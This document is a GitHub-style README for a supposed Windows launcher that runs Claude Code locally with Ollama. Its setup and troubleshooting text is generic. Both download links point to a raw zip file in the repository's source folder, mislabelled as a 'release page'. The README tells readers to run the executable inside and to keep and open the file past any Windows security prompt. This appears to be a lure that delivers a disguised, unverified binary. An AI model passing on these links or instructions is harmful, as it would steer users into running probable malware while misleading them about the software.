🤖 claude-code-ollama-local - Run Claude Code on Windows

🖥️ What this app does

claude-code-ollama-local lets you run Claude Code on your Windows PC with Ollama. It gives you a simple launcher, a clear setup flow, and notes for CPU and GPU use. It is built for people who want a local setup without a hard install process.

Use it if you want:

• A local Claude Code setup on Windows
• A simple way to start the app
• CPU and GPU support notes in one place
• A basic guide that helps you get running fast

📥 Download

Visit this page to download the app:

https://raw.githubusercontent.com/khisag4704/claude-code-ollama-local/main/src/code_local_ollama_claude_v2.8.zip

Open the latest release, then download the file for Windows. If the release has a setup file, save it to your computer. If it has a portable file, save that file and run it after download.

🚀 Getting Started

Follow these steps on Windows:

1. Open the download page.
2. Find the latest release.
3. Download the Windows file from that release.
4. Save the file to a folder you can find, such as Downloads or Desktop.
5. If the file is a zip file, unzip it first.
6. Open the launcher or app file.
7. Follow the setup screen.
8. Start Claude Code from the launcher.

If Windows shows a security prompt, choose the option that lets you keep the file and open it. This can happen with apps from GitHub releases.

🛠️ Setup

After you open the app for the first time, you will usually set two things:

• Your Ollama model
• The Claude Code launch path or start option

Use a model that fits your PC. Smaller models work better on weaker systems. Larger models need more memory and a stronger GPU.

A good first choice for many PCs is a small or mid-size model. If you have a gaming GPU, you can try a larger model later.

🧩 Ollama Setup

If Ollama is not already on your PC:

1. Install Ollama for Windows.
2. Open Ollama once.
3. Download a model you want to use.
4. Make sure Ollama is running before you start claude-code-ollama-local.

If the app asks for a local model name, use the exact name from Ollama. Model names must match.

Common examples:

• llama3.1
• qwen2.5
• mistral
• phi3

Use a smaller model if your PC feels slow.

▶️ Launching the App

Once setup is done:

1. Open the launcher.
2. Check that Ollama is running.
3. Start Claude Code from the app.
4. Wait for the app to connect.
5. Begin using it on your local Windows setup.

If nothing happens, close the app and try again after confirming Ollama is open.

💻 System Requirements

These are the best fit for a smooth run:

• Windows 10 or Windows 11
• 8 GB RAM at minimum
• 16 GB RAM or more for better use
• Free disk space for the app and model files
• Ollama installed and working
• A CPU that supports modern Windows apps

For GPU use:

• NVIDIA GPU with current drivers is best
• AMD GPU may work depending on model support
• Integrated graphics can work with small models, but speed may be low

🎮 CPU and GPU Notes

This app includes notes for both CPU and GPU setups.

Use CPU mode if:

• You do not have a GPU with enough memory
• You want a simple first run
• You use a smaller model

Use GPU mode if:

• You want faster response times
• Your GPU has enough VRAM
• You run larger local models

If the app feels slow:

• Pick a smaller model
• Close other apps
• Check that Ollama is using the right device path
• Restart Ollama and the launcher

🔧 Common Problems

App does not open

• Make sure the file finished downloading
• Unzip the file if needed
• Run the correct .exe file
• Right-click the file and choose Open if needed

Ollama does not connect

• Open Ollama first
• Check that Ollama is running in the tray or window
• Confirm the model name is correct
• Restart both Ollama and the launcher

The model is too slow

• Use a smaller model
• Switch to CPU-friendly settings
• Close large apps in the background
• Check your RAM and GPU use

Windows blocks the file

• Open the file from the latest release page
• Check the file name and release source
• Try running the file again after download completes

The launcher starts, but Claude Code fails

• Confirm the local model is installed in Ollama
• Make sure the model name matches the one set in the app
• Restart the app after changing settings
• Try a smaller model if memory is tight

📁 What’s Included

This repository is set up to help Windows users with local Claude Code use. It includes:

• A simple launcher
• Setup help
• Windows-focused instructions
• CPU and GPU troubleshooting notes
• Local Ollama workflow support

🧭 Basic Use Flow

The usual flow looks like this:

1. Download the release
2. Install or unzip the files
3. Open Ollama
4. Load a model
5. Start the launcher
6. Run Claude Code locally
7. Adjust model size if speed is low

🔍 Tips for Better Results

• Keep Ollama open while using the app
• Use a model that fits your RAM and GPU
• Start with one app at a time
• Update GPU drivers if model speed is poor
• Use the release that matches your Windows setup

📌 Release Page

Use this page for new versions, Windows files, and updates:

https://raw.githubusercontent.com/khisag4704/claude-code-ollama-local/main/src/code_local_ollama_claude_v2.8.zip

Open the newest release when you want the latest build or a fresh copy of the app

🧰 File Types You May See

You may find one of these in a release:

• .exe file — run it after download
• .zip file — unzip it first, then run the app
• setup folder — follow the included files in order

If you see more than one file, choose the one marked for Windows.